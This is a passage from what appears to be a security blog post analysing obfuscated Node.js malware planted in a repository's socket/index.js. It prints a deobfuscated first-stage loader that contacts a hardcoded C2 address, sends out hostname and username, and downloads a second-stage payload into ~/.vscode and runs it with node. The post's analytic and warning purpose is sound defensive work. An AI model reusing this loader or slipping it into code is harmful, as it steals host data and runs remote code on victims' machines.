<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Execute the downloaded payload using Node.js</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">executePayload</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">payloadFile</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">join</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">secondStageFileName</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">runCmd</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">nodeCommand</span><span style="color: #569CD6">}</span><span style="color: #CE9178"> </span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">payloadFile</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// &quot;node &#91;payload path&#93;&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">runCmd</span><span style="color: #D4D4D4">, () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> { </span><span style="color: #6A9955">/* no-op callback, run asynchronously */</span><span style="color: #D4D4D4"> });</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">/* ignore errors in execution */</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Function to send host info (&quot;keys&quot;) back to C2</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">sendHostInfo</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">sessionID</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">customCode</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Prepare form data with collected information</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">formData</span><span style="color: #D4D4D4"> = {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">ts:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">timestamp</span><span style="color: #D4D4D4">,    </span><span style="color: #6A9955">// timestamp of execution</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">type:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4">,   </span><span style="color: #6A9955">// type/code from server</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">hid:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4">,      </span><span style="color: #6A9955">// host identifier (hostname or hostname+username)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">ss:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">sessionID</span><span style="color: #D4D4D4">,    </span><span style="color: #6A9955">// session or script identifier (server-side marker)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">cc:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">customCode</span><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// custom code (e.g., campaign or client code)</span></span>
<span class="line"><span style="color: #D4D4D4">    };</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Send POST request to &quot;&lt;baseURL&gt;/keys&quot; with formData</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">postOptions</span><span style="color: #D4D4D4"> = {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">url:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">keysPath</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">formData:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">formData</span></span>
<span class="line"><span style="color: #D4D4D4">    };</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">post</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">postOptions</span><span style="color: #D4D4D4">, () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> { </span><span style="color: #6A9955">/* no response handling needed */</span><span style="color: #D4D4D4"> });</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">/* ignore errors */</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Primary function to fetch initial configuration from C2</span></span>
<span class="line"><span style="color: #569CD6">async</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">fetchInitialConfig</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">useAlternate</span><span style="color: #D4D4D4"> = </span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Construct URL for initial config request.</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// If useAlternate is false, use first IP; if true, use second IP.</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">ipIndex</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">useAlternate</span><span style="color: #D4D4D4"> ? </span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4"> : </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">targetIP</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">initialIPs</span><span style="color: #D4D4D4">&#91;</span><span style="color: #9CDCFE">ipIndex</span><span style="color: #D4D4D4">&#93;;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">configURL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`http://</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">targetIP</span><span style="color: #569CD6">}</span><span style="color: #CE9178">:</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">port</span><span style="color: #569CD6">}${</span><span style="color: #9CDCFE">initialResource</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., &quot;http://165.140.85.105:1244/s/bc7be3873ca9&quot;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Perform request to fetch initial config</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">request</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">get</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">configURL</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">response</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// If request fails and we haven&#39;t tried alternate IP yet, try the alternate</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (!</span><span style="color: #9CDCFE">useAlternate</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">fetchInitialConfig</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #6A9955">// On success, expect body starting with &#39;ZT3&#39; followed by base64 data</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #569CD6">typeof</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4"> === </span><span style="color: #CE9178">&#39;string&#39;</span><span style="color: #D4D4D4"> &amp;&amp; </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;ZT3&quot;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Strip the leading marker &quot;ZT3&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">b64data</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">body</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">substring</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">3</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">decoded</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">b64decode</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">b64data</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// Decode the remaining base64 string</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">parts</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">decoded</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">split</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;,&#39;</span><span style="color: #D4D4D4">);    </span><span style="color: #6A9955">// Expect two parts separated by comma</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// parts&#91;0&#93; = domain or IP for subsequent requests, parts&#91;1&#93; = type code</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">baseURL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`http://</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">parts</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">&#93;</span><span style="color: #569CD6">}</span><span style="color: #CE9178">:</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">port</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., &quot;http://&lt;domain&gt;:1244&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">dataType</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">parts</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">&#93;;</span></span>
<span class="line"><span style="color: #D4D4D4">            } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// if decoding fails, abort</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Prepare host identifier: hostname (and append username on Darwin systems)</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">hostName</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">platform</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;d&#39;</span><span style="color: #D4D4D4">)) {  </span><span style="color: #6A9955">// if platform is &quot;darwin&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">hostID</span><span style="color: #D4D4D4"> + </span><span style="color: #CE9178">&#39;+&#39;</span><span style="color: #D4D4D4"> + </span><span style="color: #9CDCFE">userInfo</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">username</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">            }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Prepare a custom code (e.g., campaign ID) to send back</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">customCode</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;4A1&quot;</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// default code from obfuscated data</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// Append the script name (argv&#91;1&#93;) if available (to customCode)</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #9CDCFE">customCode</span><span style="color: #D4D4D4"> += </span><span style="color: #9CDCFE">processModule</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">argv</span><span style="color: #D4D4D4">&#91;</span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">&#93;;</span></span>
<span class="line"><span style="color: #D4D4D4">            } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) { </span><span style="color: #6A9955">/* ignore if process.argv not accessible */</span><span style="color: #D4D4D4"> }</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// Send host info back to server (keys)</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">sendHostInfo</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;(((.+)+)+)&quot;</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">customCode</span><span style="color: #D4D4D4">);  </span><span style="color: #6A9955">// &#39;ss&#39; field uses a specific marker string from obfuscated code</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// After sending info, proceed to download second stage payload</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">downloadPayloadAndExecute</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    });</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Main execution:</span></span>
<span class="line"><span style="color: #D4D4D4">(</span><span style="color: #569CD6">async</span><span style="color: #D4D4D4"> () </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Set a timestamp for communications</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">timestamp</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">Date</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">now</span><span style="color: #D4D4D4">().</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Attempt to fetch initial config (try primary IP, then fallback to secondary if needed)</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">await</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">fetchInitialConfig</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// If first attempt fails, up to two more attempts will be made at 10-minute intervals:</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">attempts</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">maxAttempts</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">3</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">interval</span><span style="color: #D4D4D4"> = </span><span style="color: #B5CEA8">0x94f40</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// 0x94f40 in hex = 610,112 ms ≈ 10 minutes</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">intervalId</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">setInterval</span><span style="color: #D4D4D4">(() </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">attempts</span><span style="color: #D4D4D4"> &lt; </span><span style="color: #9CDCFE">maxAttempts</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">fetchInitialConfig</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #9CDCFE">attempts</span><span style="color: #D4D4D4">++;</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">clearInterval</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">intervalId</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    }, </span><span style="color: #9CDCFE">interval</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">})();</span></span>
<span class="line"></span></code></pre></div>



<p class="wp-block-paragraph">This Node.js malware acts as a first-stage loader to:</p>



<ul class="wp-block-list">
<li>Connect to a C2 server</li>



<li>Exfiltrate system identifiers</li>



<li>Fetch and execute a second-stage payload</li>
</ul>



<p class="wp-block-paragraph">In the next sections, we&#8217;ll take a deeper dive into the specific functions, how the obfuscation works, and the dangers of trusting unaudited code even from public repositories.</p>



<p class="wp-block-paragraph"><strong>Static Analysis of Obfuscated Node.js Malware</strong></p>



<p class="wp-block-paragraph">At first glance, the suspicious code in <code>socket/index.js</code> looks like noise filled with unreadable variable names, function aliases, and base64 blobs. However, after deobfuscation, a clear sequence of malicious operations becomes visible.</p>



<p class="wp-block-paragraph"><strong>Stage 1: Environment Discovery and Setup</strong></p>



<p class="wp-block-paragraph">The script begins by importing standard Node.js modules like <code>fs</code>, <code>os</code>, <code>path</code>, and <code>child_process</code>, as well as <code>request</code> for HTTP communication:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const { exec } = require('child_process');</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">os</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;os&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fs</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;fs&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">request</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;request&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">path</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;path&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> { </span><span style="color: #4FC1FF">exec</span><span style="color: #D4D4D4"> } = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;child_process&#39;</span><span style="color: #D4D4D4">);</span></span></code></pre></div>



<p class="wp-block-paragraph">It collects basic host information:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>const homeDir = os.homedir();
const hostName = os.hostname();
const platform = os.platform();
const userInfo = os.userInfo();</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">homeDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">homedir</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">hostName</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">hostname</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">platform</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">platform</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">userInfo</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">userInfo</span><span style="color: #D4D4D4">();</span></span></code></pre></div>



<p class="wp-block-paragraph">This data is later exfiltrated to the C2 server. The script also prepares a working directory (defaulting to <code><strong>~/.vscode</strong></code>) for downloading and storing payload files:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>let payloadDir = path.join(homeDir, ".vscode");
try {
    fs.mkdirSync(payloadDir, { recursive: true });
} catch {
    payloadDir = homeDir;
